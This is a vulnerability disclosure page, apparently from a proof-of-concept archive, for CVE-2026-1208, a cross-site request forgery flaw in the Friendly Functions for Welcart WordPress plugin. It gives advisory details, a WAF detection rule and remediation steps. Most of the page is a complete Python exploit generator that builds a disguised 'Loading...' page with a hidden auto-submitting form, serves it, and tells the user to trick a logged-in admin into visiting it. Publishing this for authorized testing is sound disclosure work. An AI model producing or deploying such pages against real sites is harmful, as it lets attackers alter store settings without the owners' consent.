PoC Archive PoC Archive
Medium CVE-2026-1208 patched

Friendly Functions for Welcart WordPress Plugin CSRF (CVE-2026-1208)

by Kai Aizen (SnailSploit) · 2026-07-05

CVSS 4.3/10
Severity
Medium
CVE
CVE-2026-1208
Category
web
Affected product
Friendly Functions for Welcart (WordPress plugin)
Affected versions
All versions up to and including 1.2.5; fixed in 1.2.6
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherKai Aizen (SnailSploit)
CVE / AdvisoryCVE-2026-1208
Categoryweb
SeverityMedium
CVSS Score4.3 (CVSS 3.1, AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
StatusPoC
Tagswordpress, wp-plugin, csrf, welcart, cwe-352, settings-manipulation
RelatedN/A

Affected Target

FieldValue
Software / SystemFriendly Functions for Welcart (WordPress plugin)
Versions AffectedAll versions up to and including 1.2.5; fixed in 1.2.6
Language / PlatformPHP / WordPress; PoC generator in Python and Bash
Authentication RequiredNo (requires victim admin to be logged in and tricked into visiting a page)
Network Access RequiredYes

Summary

The Friendly Functions for Welcart plugin’s settings page fails to validate a nonce or verify request origin when processing settings updates, exposing a classic CSRF flaw. An unauthenticated attacker can craft an auto-submitting HTML form targeting the plugin’s settings endpoint; if a logged-in administrator visits the malicious page, their browser silently submits the forged request and the plugin settings are modified without consent. The included scripts generate this CSRF HTML payload (with optional custom field values and a built-in HTTP server to host it) for authorized testing.


Vulnerability Details

Root Cause

The plugin’s settings handler (ffw_function_settings.php) processes POST requests to update configuration without generating or verifying a WordPress nonce, and does not check the request’s origin/referer.

Attack Vector

  1. Attacker generates a CSRF HTML page targeting wp-admin/admin.php?page=ffw-settings with hidden form fields for the desired settings values.
  2. Attacker hosts the page (e.g. via the PoC’s built-in HTTP server) and lures a logged-in WordPress administrator to visit it.
  3. The victim’s browser auto-submits the hidden form using their authenticated session cookies.
  4. The plugin accepts the request as legitimate and updates its settings accordingly.

Impact

Unauthorized modification of Welcart e-commerce plugin settings, potential disruption of store operations, and a foothold for chaining with other vulnerabilities.


Environment / Lab Setup

Target:   WordPress site with Friendly Functions for Welcart <= 1.2.5, admin victim session
Attacker: Python 3.8+ or Bash shell to run the payload generator; a server to host the resulting HTML

Proof of Concept

PoC Script

See exploit.py and exploit.sh in this folder.

1
2
python3 exploit.py -t https://vulnerable-site.com --serve -p 8080
./exploit.sh -t https://vulnerable-site.com -s -p 8080

Both scripts generate an auto-submitting CSRF HTML page targeting the plugin’s settings endpoint and can optionally serve it over a built-in HTTP server for delivery to a victim administrator.


Detection & Indicators of Compromise

SecRule REQUEST_URI "@contains /wp-admin/admin.php" "chain" SecRule ARGS:page "@streq ffw-settings"

Signs of compromise:

  • Unexpected changes to Friendly Functions for Welcart settings with no corresponding admin-initiated action in audit logs
  • Requests to the settings page lacking a same-origin Referer header
  • Administrator reports of visiting an unfamiliar link shortly before settings changed

Remediation

ActionDetail
Primary fixUpdate Friendly Functions for Welcart to version 1.2.6 or later
Interim mitigationDisable the plugin until patched, or add WAF rules blocking cross-origin POSTs to the ffw-settings admin page

References


Notes

Mirrored from https://github.com/SnailSploit/CVE-2026-1208 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
#!/usr/bin/env python3
"""
CVE-2026-1208 - Friendly Functions for Welcart CSRF PoC Generator
For educational and authorized testing purposes only

This script generates a malicious HTML page that exploits the CSRF vulnerability
in Friendly Functions for Welcart plugin versions <= 1.2.5
"""

import argparse
import sys
import os
from urllib.parse import urlparse
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
import webbrowser

BANNER = """
╔═══════════════════════════════════════════════════════════════════╗
║           CVE-2026-1208 - CSRF PoC Generator                      ║
║     Friendly Functions for Welcart Settings Update CSRF           ║
║                                                                   ║
║  Discovered by: Kai Aizen (SnailSploit)                          ║
║  For authorized security testing only                             ║
╚═══════════════════════════════════════════════════════════════════╝
"""

CSRF_TEMPLATE = """<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Loading...</title>
    <style>
        body {{
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background: #f0f0f0;
        }}
        .loader {{
            text-align: center;
        }}
        .spinner {{
            border: 4px solid #f3f3f3;
            border-top: 4px solid #3498db;
            border-radius: 50%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin: 0 auto 20px;
        }}
        @keyframes spin {{
            0% {{ transform: rotate(0deg); }}
            100% {{ transform: rotate(360deg); }}
        }}
    </style>
</head>
<body>
    <div class="loader">
        <div class="spinner"></div>
        <p>Loading, please wait...</p>
    </div>
    
    <!-- CVE-2026-1208 CSRF Payload -->
    <form id="csrf-form" action="{target_url}/wp-admin/admin.php?page=ffw-settings" method="POST" style="display:none;">
        {form_fields}
    </form>
    
    <script>
        // Auto-submit after brief delay to ensure page loads
        setTimeout(function() {{
            document.getElementById('csrf-form').submit();
        }}, {delay});
    </script>
</body>
</html>
"""

DEFAULT_PAYLOADS = {
    "ffw_setting_option_1": "malicious_value_1",
    "ffw_setting_option_2": "malicious_value_2",
    "ffw_enable_feature": "1",
}


def validate_url(url: str) -> str:
    """Validate and normalize target URL."""
    if not url.startswith(('http://', 'https://')):
        url = 'https://' + url
    
    parsed = urlparse(url)
    if not parsed.netloc:
        raise ValueError(f"Invalid URL: {url}")
    
    return url.rstrip('/')


def generate_form_fields(payloads: dict) -> str:
    """Generate hidden form fields from payload dictionary."""
    fields = []
    for name, value in payloads.items():
        escaped_name = name.replace('"', '&quot;')
        escaped_value = str(value).replace('"', '&quot;')
        fields.append(f'        <input type="hidden" name="{escaped_name}" value="{escaped_value}" />')
    return '\n'.join(fields)


def generate_csrf_page(target_url: str, payloads: dict = None, delay: int = 500) -> str:
    """Generate the CSRF HTML payload page."""
    if payloads is None:
        payloads = DEFAULT_PAYLOADS
    
    form_fields = generate_form_fields(payloads)
    
    return CSRF_TEMPLATE.format(
        target_url=target_url,
        form_fields=form_fields,
        delay=delay
    )


def save_payload(content: str, output_path: str) -> None:
    """Save the CSRF payload to a file."""
    with open(output_path, 'w', encoding='utf-8') as f:
        f.write(content)
    print(f"[+] CSRF payload saved to: {output_path}")


def serve_payload(port: int, directory: str) -> None:
    """Start a simple HTTP server to serve the payload."""
    os.chdir(directory)
    handler = SimpleHTTPRequestHandler
    httpd = HTTPServer(('0.0.0.0', port), handler)
    print(f"[*] Serving CSRF payload at http://0.0.0.0:{port}/csrf_payload.html")
    print("[*] Press Ctrl+C to stop the server")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Server stopped")
        httpd.shutdown()


def parse_custom_payloads(payload_str: str) -> dict:
    """Parse custom payloads from command line argument."""
    payloads = {}
    pairs = payload_str.split(',')
    for pair in pairs:
        if '=' in pair:
            key, value = pair.split('=', 1)
            payloads[key.strip()] = value.strip()
    return payloads


def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(
        description='CVE-2026-1208 - Friendly Functions for Welcart CSRF PoC Generator',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s -t https://vulnerable-site.com
  %(prog)s -t https://vulnerable-site.com -o /tmp/exploit.html
  %(prog)s -t https://vulnerable-site.com --serve -p 8080
  %(prog)s -t https://vulnerable-site.com --payloads "option1=value1,option2=value2"
        """
    )
    
    parser.add_argument(
        '-t', '--target',
        required=True,
        help='Target WordPress site URL'
    )
    
    parser.add_argument(
        '-o', '--output',
        default='csrf_payload.html',
        help='Output file path (default: csrf_payload.html)'
    )
    
    parser.add_argument(
        '--payloads',
        help='Custom payloads as comma-separated key=value pairs'
    )
    
    parser.add_argument(
        '--delay',
        type=int,
        default=500,
        help='Delay in ms before auto-submit (default: 500)'
    )
    
    parser.add_argument(
        '--serve',
        action='store_true',
        help='Start HTTP server to serve the payload'
    )
    
    parser.add_argument(
        '-p', '--port',
        type=int,
        default=8888,
        help='Port for HTTP server (default: 8888)'
    )
    
    parser.add_argument(
        '--open-browser',
        action='store_true',
        help='Open payload in browser (for testing)'
    )
    
    args = parser.parse_args()
    
    try:
        target_url = validate_url(args.target)
        print(f"[*] Target: {target_url}")
        
        # Parse custom payloads if provided
        payloads = None
        if args.payloads:
            payloads = parse_custom_payloads(args.payloads)
            print(f"[*] Custom payloads: {payloads}")
        else:
            print(f"[*] Using default payloads: {DEFAULT_PAYLOADS}")
        
        # Generate CSRF payload
        csrf_html = generate_csrf_page(target_url, payloads, args.delay)
        
        # Save payload
        output_dir = os.path.dirname(os.path.abspath(args.output))
        if output_dir and not os.path.exists(output_dir):
            os.makedirs(output_dir)
        
        save_payload(csrf_html, args.output)
        
        # Open in browser if requested
        if args.open_browser:
            webbrowser.open(f'file://{os.path.abspath(args.output)}')
        
        # Start server if requested
        if args.serve:
            serve_payload(args.port, os.path.dirname(os.path.abspath(args.output)) or '.')
        
        print("\n[+] CSRF payload generated successfully!")
        print("[*] To exploit:")
        print("    1. Host this HTML file on your server")
        print("    2. Trick an authenticated admin to visit the page")
        print("    3. Settings will be modified via CSRF")
        
    except ValueError as e:
        print(f"[-] Error: {e}")
        sys.exit(1)
    except KeyboardInterrupt:
        print("\n[*] Interrupted by user")
        sys.exit(0)
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()